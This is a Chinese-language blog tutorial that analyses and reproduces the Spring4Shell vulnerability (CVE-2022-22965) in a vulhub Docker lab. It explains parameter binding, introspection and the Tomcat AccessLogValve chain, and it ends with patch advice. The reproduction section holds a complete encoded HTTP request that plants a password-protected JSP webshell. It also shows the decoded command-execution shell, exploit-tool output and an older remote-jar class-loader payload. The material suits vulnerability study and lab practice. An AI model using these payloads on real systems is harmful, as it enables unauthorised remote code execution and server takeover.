本文最后更新于 2024-09-23,文章内容可能已经过时。

Spring Framework RCE(CVE-2022-22965)漏洞复现

一、漏洞简介

​ 2022年3月 Spring Framework 爆出严重级别的安全漏洞,在 JDK 9 及以上版本环境下,可以利用此漏洞在未授权的情况下在目标系统上写入恶意程序从而远程执行任意代码。Spring Framework 官方很快发布了5.3.18以及5.2.20修复了该漏洞。该 CVE-2022-22965 漏洞是因为在 Java 9的环境下,引入了 class.module.classLoader,导致了 CVE-2010-1622 漏洞补丁的绕过,从而造成这个漏洞

利用条件:

  1. JDK版本:JDK 9及以上版本
  2. 受影响组件:直接或者间接地使⽤了Spring-beans包(Spring boot等框架都使用了)
  3. 受影响的版本:Spring Framework < 5.3.18 ,Spring Framework < 5.2.20 及衍生版本
  4. 部署方式:使用war包部署于tomcat

二、基础知识

2.1 SpringMVC参数绑定

​ 使用 SpringMVC 参数绑定可以方便地获取用户请求中的参数等信息,其还可以根据 Controller 方法的参数,自动完成类型转换和赋值。SpringMVC 还支持多层嵌套的参数绑定,接下来看一个例子:

Controller:

@Controller
public class UserController {
    @RequestMapping("/addUser")
    public @ResponseBody String addUser(User user) {
        return "OK";
    }
}

User.java

public class User {
    private String name;
    private School school;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public School getSchool() {
        return department;
    }

    public void setSchool(School school) {
        this.school = school;
    }
}

School.java

public class School {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

​ 当请求为/addUser?name=test&school.name=woniuxy 时,name 自动绑定到了 user 对象的 name 属性,而 school.name 绑定到了user 对象的 school 下的 name 属性上。

2.2 JavaBean

2.2.1 JavaBean简介

JavaBean 是一种Java语言写成的可重用组件。为写成 JavaBean,类必须是具体的和公共的,并且具有无参数的构造器。JavaBean 通过提供符合一致性设计模式的公共方法将内部域暴露成员属性,set 和 get 方法获取。众所周知,属性名称符合这种模式,其他 Java 类可以通过自省机制(反射机制)发现和操作这些 JavaBean 的属性。

由上可知 JavaBean 需要满足以下条件:

  • 类必须声明为 public
  • 使用 private 来声明类中所有的字段
  • 通过 public 修饰的读写方法(set和get方法)来读写实例字段
  • 一个 JavaBean 中至少存在一个无参构造方法

具体例子可以看 SpringMVC 参数绑定中的 User 与 School。

2.2.2 Introspector(内省)

​ 内省机制是通过反射来实现的,是Java对JavaBean类属性、事件的一种缺省处理方法。

这里有一个User类,代码如下:

public class User {
    private String name;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
}

​ 在 User 类中有一个 name 属性(拥有一组对应的读方法(getter)和写方法(setter)),而Java提供了一套API来访问某个属性的读写方法(get/set方法),这就是内省机制。

Java中常用的内省类及接口主要有以下几个:

  • java.beans.Introspector 类: 为获得JavaBean属性、事件、方法提供了标准方法,通常使用其中的getBeanInfo方法返回BeanInfo对象。

  • Java.beans.BeanInfo 接口:不能直接实例化,通常通过 Introspector 类返回该类型对象,提供了返回属性描述符对象(PropertyDescriptor)、方法描述符对象(MethodDescriptor) 、 bean描述符(BeanDescriptor)对象的方法。

  • Java.beans.PropertyDescriptor 类:用于获取符合 Java Bean 规范的对象属性和get/set方法。

    PropertyDescriptor 类主要方法如下:

    getPropertyType(),获得属性的Class对象;
    getReadMethod(),获得用于读取属性值的方法;
    getWriteMethod(),获得用于写入属性值的方法;
    

下面通过一个简单的例子来进一步了解这三者的使用:

import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;

public class PropertyDescriptorDemo {
    public static void main(String[] args) throws Exception {
        User user = new User();
        user.setName("zhangsan");
		//获取user的BeanInfo对象
        BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
        // 获取user的所有属性描述符对象
        PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
        // 遍历整个PropertyDescriptor对象数组
        for (PropertyDescriptor descriptor : descriptors) {
            // 判断该PropertyDescriptor对应的属性名称是否为name
            if (descriptor.getName().equals("name")) {
                System.out.println("user.name对应的 PropertyDescriptor对象: " + descriptor);
                // 打印修改前的user.name
                System.out.println("修改前的user.name: " + descriptor.getReadMethod().invoke(user));
                // 调用name属性的写方法(setter),将name属性修改为lisi
                descriptor.getWriteMethod().invoke(user, "lisi");
                System.out.println("修改后user.name: " + descriptor.getReadMethod().invoke(user));
            }
        }
    }
}

运行结果如下:

image-20221010152616894

## 完整PropertyDescriptor如下:
java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@20fa23c1; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String User.getName(); writeMethod=public void User.setName(java.lang.String)]

注意:对 Method 实例调用 invoke 方法就相当于调用该方法,invoke 方法的第一个参数是对象实例(如上面的user),即在 user 实例上调用该方法,后面的可变参数要与方法参数一致。

2.3 SpringBean

​ Spring Bean 是 Spring 框架在运行时管理的对象。Spring Bean 是任何Spring应用程序的基本构建块,我们使用 Spring 框架编写的大多数应用程序逻辑代码都将放在Spring Bean 中。我们可以将其看做 JavaBean 的翻版,但是其约束更少且功能更强大。

2.3.1 Spring BeanWrapperImpl

​ 在Spring中,BeanWrapper 接口是对 Bean 的包装,定义了大量可以非常方便的方法对 Bean 的属性进行访问和设置。而 BeanWrapperImpl 类是 BeanWrapper 接口的默认实现,BeanWrapperImpl.wrappedObject 属性即为被包装的Bean对象,BeanWrapperImpl 对 Bean 的属性访问和设置最终调用的是 PropertyDescriptor。

import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;

public class BeanWrapperDemo {
    public static void main(String[] args) throws Exception {
        User user = new User();
        user.setName("Tom");
		// 获取user对象的BeanWrapper对象
        BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
        System.out.println("userBeanWrapper: " + userBeanWrapper);

        System.out.println("修改前user.name: " + userBeanWrapper.getPropertyValue("name"));
        // 修改user.name为Jack
        userBeanWrapper.setPropertyValue("name", "Jack");

        System.out.println("修改后user.name: " + userBeanWrapper.getPropertyValue("name"));
    }
}

运行结果如下:

image-20221010152516102

通过BeanWrapperImpl我们可以很方便地访问和设置Bean的属性。

2.4 Tomcat AccessLogValve

​ 在Tomcat的server.xml中,Host节点的子元素名称是Valve,用来定义一系列的处理器,AccessLogValve 就是用来记录容器访问请求的日志处理类。Valve,本意是阀门的意思,AccessLogValve 是处理生成访问日志(accesslog)的。Tomcat的 server.xml 中默认配置了 AccessLogValve,所有部署在 Tomcat 中的Web应用均会执行该Valve,内容如下:

<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
               prefix="localhost_access_log" suffix=".txt"
               pattern="%h %l %u %t &quot;%r&quot; %s %b" />

上面相关字段说明:

  • directory:access_log文件输出目录。
  • prefix:access_log文件名前缀。
  • pattern:access_log文件内容格式。
  • suffix:access_log文件名后缀。

另外可以设置 fileDateFormat 字段,允许在日志文件名称中使用定制的日期格式。默认为fileDateFormat=".yyyy-MM-dd"。

2.5 反射(Reflection)

​ 在Java中有两种对象:Class 对象和实例对象。实例对象是类的实例,通常是通过 new 这个关键字构建的,如:User user = new User(‘zhangsan’) ; 。而 Class 对象是 JVM 生成用来保存对象的类的信息的,JVM 在第一次读取到一种class类型时(如 User),将其加载进内存,为其创建一个 Class 类型的实例(就是 java.lang.Class 类的实例)。

​ 查看 java.lang.Class 类源码,可以看到对 Class 类的构造方法有相关说明:

    /*
     * Private constructor. Only the Java Virtual Machine creates Class objects.
     * This constructor is not used and prevents the default constructor being
     * generated.
     */
    private Class(ClassLoader loader, Class<?> arrayComponentType) {
        // Initialize final field for classLoader.  The initialization value of non-null
        // prevents future JIT optimizations from assuming this final field is null.
        classLoader = loader;
        componentType = arrayComponentType;
    }

​ 从上面可以看到 Class 类的构造方法是私有的,注释也告诉我们只有 JVM 才可以创建该类的对象。所以我们无法通过 new 的方式声明一个 Class 对象,但是我们可以通过以下三种方式来获取一个class的 Class 实例:

  • 通过一个 class 的静态变量 class 获取。

    Class cls = String.class;
    
  • 通过实例变量提供的 getClass() 方法获取。

    String s = "Hello";
    Class cls = s.getClass();
    
  • 通过静态方法Class.forName()获取,这需要知道class的完整类名。

    Class cls = Class.forName("java.lang.String");
    

    ​ 由于JVM为每个加载的class创建了对应的 Class 实例,并在实例中保存了该 class 的所有信息,包括类名、包名、父类、实现的接口、所有方法、字段等,因此,如果获取了某个 Class 实例,我们就可以通过这个 Class 实例获取到该实例对应的 class 的所有信息。而这种通过Class实例获取class信息的方法称为反射(Reflection)。

三、原理分析

3.1 环境搭建

调试环境如下:

  • JDK版本:11.0.14

  • Tomcat版本:9.0.22

  • SpringBoot版本:2.6.6

  • spring-beans版本:5.3.17

这里我们搭建一个简单的springMVC的环境,如下:

一个简单的controller类:

@RestController
public class IndexController {
    @RequestMapping("/index")
    public String Run(Person person){
        return person.getName();
    }
}

一个简单pojo,Person类:

public class Person{
    private String name;

    public String getName(){
        return name;
    }

    public void setName(String name){
        this.name = name;
    }
}

具体搭建步骤可以查看这篇文章——Spring4Shell - CVE-2022-22965(环境搭建及利用思考)(https://www.secpulse.com/archives/176618.html)。

3.2 漏洞分析

​ 当我们使用" /index?name=zhangsan "去请求时,IndexController就会将url参数name=zhangsan通过参数绑定的方式赋值给person对象的name,这都是Spring帮我们自动调用相关类完成的。

​ 在我们启动项目时,在 AbstractAutowireCapableBeanFactory.class 中会调用applyPropertyValues() 方法将 indexController 作为 bean 来初始化装载进 spring 容器中,这一切都是自动调用 bean 属性注入完成的,这就是 SpringBean 的属性填充过程。

image-20221012105233630

​ 在该方法在执行时有如下两种处理方式:

  • 在进行属性值的注入时,如果属性值不需要转换,那么直接进行注入
  • 当需要对属性值进行转换时,首先是转换成对应类的属性的属性值,接着设置属性值,最后完成注入

​ 这里进行注入的方式是通过调用 setPropertyValues() 方法实现的,但这个方法的调用栈的最底部还是通过调用对象的 setter 方法进行属性设置的。调用我们前面说的 BeanWarpperImpl 这个类,使用它的 setValue() 方法去调用对象的 setter 方法(这里为person的setName()方法)设置name属性的值为 zhangsan。

image-20221012115413495

​ 其实Person类的属性并不只有name,我们可以临时修改IndexController的代码,查看Person的所有属性,如下:

image-20221012153442628

​ 可以发现 Person 类还有一个 class 属性,该属性只有读方法(即为只读属性),且这个 getClass() 方法来自于 java.lang.Object 这个类。其实这个类是Object 类是所有类的父类, Java 的所有类都继承了 Object,而子类是可以调用父类的方法,这里的class属性就是Person类从 Object 继承的 getClass() 方法带来的。

​ 于是我们可以下面的方式来获取class对象:

http://localohst:8080/index?class=xxx

​ 当我们获取到一个类对象后,就可以调用这个类中的一些方法,当获取到Class类(Class.calss)对象后,变相的获取了所有class类的对象,通过调用这个 Class 类下实例对象的方法,就相当于调用了实例对象的方法。而这些对象中可能存在可用的 setter 方法,通过调用相应属性的写方法即可修改属性的值。

​ 假如这个Class类的属性中没有对应的 setter 方法该怎么办呢?其实我们还可以使用前面所说的内省机制来进行操作。在进行传值时,会使用 CachedIntrospectionResults 方法,在这个方法中我们可以看到其使用 getBeanInfo() 方法来获取 beanInfo 对象。

image-20221012175608900

​ 而这个getBeanInfo() 方法中可以看到内省机制中Introspector类中的经典调用方法——Introspector.getBeanInfo()。

image-20221012175729737

​ 然后就获取到了没有setter的属性(只读属性),获取到对应属性后,经过一系列处理后就会调用AbstractNestablePropertyAccessor.class 中的 newValue() 方法,在其中通过 Array.set() 来设置对应的值。这样就可以设置对应对象的只读属性了,那么现在我们就能修改Class类的属性。

image-20221013095724707

​ 而在Class类的对象中有一个 classLoader 属性,顾名思义,它是用来加载 Class 的。它负责将 Class 的字节码形式转换成内存形式的 Class 对象。字节码可以来自于磁盘文件 *.class,也可以是 jar 包里的 *.class,也可以来自远程服务器提供的字节流,字节码的本质就是一个字节数组 []byte,它有特定的复杂的内部格式。

classLoader
    [*]public java.lang.ClassLoader java.lang.Class.getClassLoader()
    [*]null

​ classLoader 属性可以帮助我们改变 class 加载的一些对象的属性值,不过不同程序运行环境的classLoader是不一样的这一点要注意。

​ 那么我们该如何使用这个 classLoader 属性呢?回答这个问题之前我们需要了解一下 SpringBean 解析流程,Spring 在 PropertyAccessor 接口中定义了分割符。

image-20221013140442650

​ 相关字段解释如下:

	/**
	 * 定义嵌套属性的路径分隔符 .
	 * 遵循正常的Java约定,getFoo().getBar()可以使用"foo.bar"这种方式
	 */
	String NESTED_PROPERTY_SEPARATOR = ".";
	char NESTED_PROPERTY_SEPARATOR_CHAR = '.';
	/**
	 * 标记,用于指示属性键的开始
	 * 索引或映射的属性,例如"person.addresses[0]".
	 */
	String PROPERTY_KEY_PREFIX = "[";
	char PROPERTY_KEY_PREFIX_CHAR = '[';
	/**
	 * 标记,用于指示属性键的结尾
	 * 索引或映射的属性,例如"person.addresses[0]".
	 */
	String PROPERTY_KEY_SUFFIX = "]";
	char PROPERTY_KEY_SUFFIX_CHAR = ']';

​ 从上面我们可以知道在SpringBean解析流程中使用 . 做为嵌套属性的分隔符的,具体处理逻辑在AbstractNestablePropertyAccessor.calss 中的 getPropertyAccessorForPropertyPath() 方法中。

image-20221013143439842

​ 该方法根据属性(propertyPath)获取所在 bean 的包装对象 beanWrapper。如果是类似 foo.bar.name 的嵌套属性,则需要递归获取。真正获取指定属性的包装对象则由方法 getNestedPropertyAccessor() 完成。

protected AbstractNestablePropertyAccessor getPropertyAccessorForPropertyPath(String propertyPath) {
    // 获取第一个.之前的属性部分。例如: foo.bar.name 返回 foo 的索引位置
    int pos = PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath);

    /**
	 * 递归处理嵌套属性
	 * 依次获取foo、bar、name属性所在类的 beanWarpper
	 */   
    if (pos > -1) {
        String nestedProperty = propertyPath.substring(0, pos);
        String nestedPath = propertyPath.substring(pos + 1);
        AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);
        return nestedPa.getPropertyAccessorForPropertyPath(nestedPath);
    
    } else {
        return this;  // 返回当前对象
    }
}

​ 我们可以看出 getPropertyAccessorForPropertyPath 处理时有两种情况:

  • name(不包含 .) 直接返回当前 bean 的包装对象,如上截图,url访问/index?name=zhangsan。
  • foo.bar.name(包含 .) 从当前对象开始递归查找。

​ 接着我们看一下上面调用的 getFirstNestedPropertySeparatorIndex() 方法,该方法调用的是getNestedPropertySeparatorIndex() 方法。

image-20221013150820587

​ getNestedPropertySeparatorIndex() 方法代码如下:

private static int getNestedPropertySeparatorIndex(String propertyPath, boolean last) {
        boolean inKey = false;
    	// 获取属性的长度
        int length = propertyPath.length();
		......
        ......
			// 对所有的字符遍历进行解析
            // 并使用inKey作为flag,对[ 和 ] 符号做成对的判断
            switch (propertyPath.charAt(i)) {
                case '.':
                    // 如果出现'.' ,说明存在嵌套属性,并且 inKey =false ,说明在这之前[ ] 是成对匹配的,最后返回第一个.的位置
                    if (!inKey) {
                        return i;
                    }
                    break;
                case '[':
                case ']':
                    inKey = !inKey;
            }
		......
        ......
        return -1;
    }

​ 其功能主要是判断有无“ . ”,若有则说明存在嵌套属性,而后返回其索引值,方便 getPropertyAccessorForPropertyPath() 后续调用 getNestedPropertyAccessor() 方法获取指定属性的包装对象。

所以如果我们想通过class去调用 classLoader 的属性,只需要通过 class.classLoader 的方式即可。在前面我们知道可以使用 Java 的内省机制来进行赋值,所以只需要找到 classLoader 中一个可以利用的属性,来进行RCE即可。

​ 前面说过CVE-2022-22965 其实是 CVE-2010-1622 漏洞的绕过,CVE-2010-1622 使用的如下payload进行利用:

http://localhost:8080/index?class.classLoader.URLs[0]=jar:http://xxxx.com/exp.jar!/

​ 其大致原理为setPropertyValue将 jar:http://xxxx.com/exp.jar!/ 参数传到URLs[]中,然后经过jsp页面渲染时,通过一系列类的调用,最终对对应主机上的 exp.jar 进行了加载,从而触发了漏洞。

而在 CVE-2010-1622 后,Spring官方和Tomcat的官方都对漏洞进行了修复。

Spring 是将在 CachedIntrospectionResults 中获取 beanInfo 后立即对其进行了判断,将” classLoader “ 添加进了黑名单,所以无法使用 class.classLoader 的方式调用:

image-20221013165256684

CVE-2022-22965对上述黑名单进行了绕过,因为 JDK 9以上的版本引入了模块(Module)的概念,我们可以通过 module 来调用 JDK 模块下的方法,而module并不在黑名单中,所以能够绕过黑名单。即通过 class.module.classLoader 的方式来调用 classLoader 属性。

​ 但Tomcat 在 6.0.28 版本后把 getURLs 方法返回的值改成了 clone 的,这使的我们获得的 clone的值无法修改 classloader 中的 URLs[]。

​ 我们只能查看 classLoader 属性下是否还存在可以利用的属性,在IndexController中添加以下代码并引入相应包。

    @RequestMapping("/testclass")
    public void classTest(){
        HashSet<Object> set = new HashSet<Object>();
        String poc = "class.moduls.classLoader";
        User action = new User();
        processClass(action.getClass().getClassLoader(),set,poc);
    }

        public void processClass(Object instance, java.util.HashSet set, String poc){
        try {
            Class<?> c = instance.getClass();
            set.add(instance);
            Method[] allMethods = c.getMethods();
            for (Method m : allMethods) {
                if (!m.getName().startsWith("set")) {
                    continue;
                }
                if (!m.toGenericString().startsWith("public")) {
                    continue;
                }
                Class<?>[] pType  = m.getParameterTypes();
                if(pType.length!=1) continue;

                if(pType[0].getName().equals("java.lang.String")||
                        pType[0].getName().equals("boolean")||
                        pType[0].getName().equals("int")){
                    String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4);
                    System.out.println(poc+"."+fieldName);
                }
            }
            for (Method m : allMethods) {
                if (!m.getName().startsWith("get")) {
                    continue;
                }
                if (!m.toGenericString().startsWith("public")) {
                    continue;
                }
                Class<?>[] pType  = m.getParameterTypes();
                if(pType.length!=0) continue;
                if(m.getReturnType() == Void.TYPE) continue;
                m.setAccessible(true);
                Object o = m.invoke(instance);
                if(o!=null)
                {
                    if(set.contains(o)) continue;

                    processClass(o, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4));
                }
            }
        } catch (IllegalAccessException | InvocationTargetException x) {
            x.printStackTrace();
        }
    }

​ 在url中请求 /testclass ,在控制台查看到对应结果。

image-20221013170854583

​ 这些boolean、int或string类型的属性都是可以操纵的,还记得我们前面说的 Tomcat AccessLogValve , 我们可以用Tomcat 的 conf 目录下的 server.xml 设置AccessLogValve 来对Access Log 进行配置,修改 access log 的保存位置、日志文件名、日志文件内容等。在Spring中的万物都是SpringBean,xml文件加载的配置属性当然也是可以被配置修改的,而在展示的所有classLoader的属性中有以下属性,他们可以控制生成的 Access Log 文件。

class.classLoader.resources.context.parent.pipeline.first.directory 
class.classLoader.resources.context.parent.pipeline.first.prefix 
class.classLoader.resources.context.parent.pipeline.first.suffix 
class.module.classLoader.resources.context.parent.pipeline.first.pattern 
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat 

​ 这几个属性对应的类是 org.apache.catalina.valves.AccessLogValve ,对应属性也有setter与getter方法。

image-20221014154619478

​ 所以我们能通过上述的利用链去调用对应属性的set方法来设置属性值,于是我们可以做如下设置:

// 指定存放路径为 webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
// 指定文件名前缀为shell
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
// 指定文件名后缀为.jsp
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
// 指定文件内容为 jsp 一句话木马
class.module.classLoader.resources.context.parent.pipeline.first.pattern="jsp一句话木马"
// 指定文件名中间内容为1 
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1

​ 发起请求后,会在 webapps/ROOT 下生成 shell1.jsp 文件,相当于完成了jsp一句话木马的上传。到这里我们就对本次漏洞的利用过程比较了解了,就是通过HTTP请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志” shell1.jsp,该“ 访问日志 ”实际上为一个 JSP 的 webshell。

3.3 其他说明

3.3.1 为何部署方式要为Tomcat war包来部署?

​ 前面我们说过不同程序运行环境的classLoader是不一样的。在进行漏洞利用时,若项目以war包部署则我们使用java.lang.Module.getClassLoader()得到就是org.apache.catalina.loader.ParallelWebappClassLoader这个类对应的classLoader,若项目以jar包部署的方式运行则此步获取到的对象是org.springframework.boot.loader.LaunchedURLClassLoader对应的calssLoader,其并没有resources成员变量,这就导致利用链断掉。

四、漏洞复现

4.1 复现环境

攻击机:kali(ip:192.168.91.128)

被攻击主机:docker环境部署(ip:192.168.91.129)

漏洞环境:vulhub/springMVC5.3.17

搭建过程:

​ 1.下载vulhub靶场文件(https://github.com/vulhub/vulhub)

​ 2.解压后切换到指定目录,并使用docker-compose命令拉取docker环境并创建容器。

cd vulhub-master/spring/CVE-2022-22965
docker-compose up -d

image-20240923220304091 3.防火墙开放TCP的8080端口,而后访问8080端口,查看是否部署成功。

image-20240923221658889

4.2 复现过程

使用扫描器先扫描一下目标站点是否存在漏洞:

https://github.com/fullhunt/spring4shell-scan.git

image-20240923223921177

​ 显示有漏洞,下面开始利用

​ 使用BrupSuite代理浏览器,访问靶场并进行拦截,将拦截后的请求放于repeater模块中,使用下面的POC进行修改:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1 HTTP/1.1
Host: 192.168.91.128:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1


(注意修改host,且DNT:1后面要留两行)

​ 修改完成后直接发送。

image-20240923221626872

​ 访问jsp一句话木马,http://192.168.91.128:8080/shell1.jsp?pwd=j&cmd=id 。访问成功,结果如下:

image-20240923222034427

使用工具进行利用:

https://github.com/redhuntlabs/Hunt4Spring.git

image-20240923225136645

创建test.txt文件,将要测试的网址放入其中

image-20240923225558074

确认有漏洞,进行利用:

./hunt4spring -file test.txt -exploit

$ ./hunt4spring -file test.txt -exploit

 _    _             _   _  _   _____            _             
| |  | |           | | | || | / ____|          (_)            
| |__| |_   _ _ __ | |_| || || (___  _ __  _ __ _ _ __   __ _ 
|  __  | | | | '_ \| __|__   _\___ \| '_ \| '__| | '_ \ / _  |
| |  | | |_| | | | | |_   | | ____) | |_) | |  | | | | | (_| |
|_|  |_|\__,_|_| |_|\__|  |_||_____/| .__/|_|  |_|_| |_|\__, |
                                    | |                  __/ |
                                    |_|                 |___/ 
                                                                                                                                              

[+] Hunt4Spring by RedHunt Labs - A Modern Attack Surface (ASM) Management Company
[+] Author: Umair Nehri (RHL Research Team)
[+] Continuously Track Your Attack Surface using https://redhuntlabs.com/nvadr. 

2024/09/23 17:44:17 Checking: http://127.0.0.1:8080/
2024/09/23 17:44:17 http://192.168.91.128:8080/ [Seems to be vulnerable!]
2024/09/23 17:44:17 Trying to exploit: http://192.168.91.128:8080/
2024/09/23 17:44:20 Shell was successfully uploaded! Address: http://192.168.91.128:8080/shell.jsp?pwd=hunt4spring&cmd=whoami

+-----------------------------+---------------------------+
|          HOST               | VULNERABILITY POSSIBILITY |
+-----------------------------+---------------------------+
| http://192.168.91.128:8080/ | YES                       |
+-----------------------------+---------------------------+

webshell 的名称为shell.jsp,密码为hunt4spring

4.3 POC参数说明

​ 我们从上面可以看到该POC使用get请求中的URL地址参数设置了五个属性的值,对应的属性前面也说明了,这里就不必赘述了,用下面这幅图简单说明一下即可。webapps/ROOT/shell1.jsp 各字段对应的属性如下:

image-20221014170745563

​ 这里的class.module.classLoader.resources.context.parent.pipeline.first.pattern,即pattern为:

image-20240923221950803

%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

​ 而请求头部中也有几个特殊字段:

suffix: %>//
c1: Runtime
c2: <%
DNT: 1

​ 这是因为通过AccessLogValve输出的日志中可以通过形如 %{param}i 等形式直接引用HTTP请求和响应中的内容。官方文档说明如下(https://tomcat.apache.org/tomcat-8.5-doc/api/org/apache/catalina/valves/AbstractAccessLogValve.html):

image-20221014171507588

​ 最后AccessLogValve输出的日志实际内容其实是下面的样子,一个JSP webshell。

<%
if("j".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
}
%>//

五、修复建议

  1. 更新spring-beans版本,官方已经发布了补丁,在最新版本v5.3.18和v5.2.20中完成了漏洞的修复。

六、参考文章

  1. Spring 远程命令执行漏洞(CVE-2022-22965)原理分析和思考(https://paper.seebug.org/1877/)。
  2. 从零开始,分析Spring Framework RCE(https://www.cnpanda.net/sec/1196.html)。
  3. Spring4Shell简析(CVE-2022-22965)(https://zhuanlan.zhihu.com/p/498778896)。
  4. 浅谈Java内省机制(https://www.jb51.net/article/258405.htm)。
  5. Tomcat源码分析-AccessLogValve类(https://blog.csdn.net/wojiushiwo945you/article/details/73298333)。
  6. Spring4Shell - CVE-2022-22965(环境搭建及利用思考)(https://www.secpulse.com/archives/176618.html)。
  7. Spring源码解析之-BeanWrapper分析(https://blog.csdn.net/mamamalululu00000000/article/details/107160526)。
  8. Spring 属性注入(三)AbstractNestablePropertyAccessor(https://www.cnblogs.com/binarylei/p/10267928.html)。

视频:

【Spring-CVE-2022-22965 Spring 漏洞/原理讲解/代码调试(上)】 https://www.bilibili.com/video/BV1ei4y1Q7nm/?share_source=copy_web&vd_source=3edcbf9afbdb6e220dc60cdac739fa8e

【Spring-CVE-2022-22965 Spring 漏洞/原理讲解/代码调试(下)】 https://www.bilibili.com/video/BV1vY411J7kX/?share_source=copy_web&vd_source=3edcbf9afbdb6e220dc60cdac739fa8e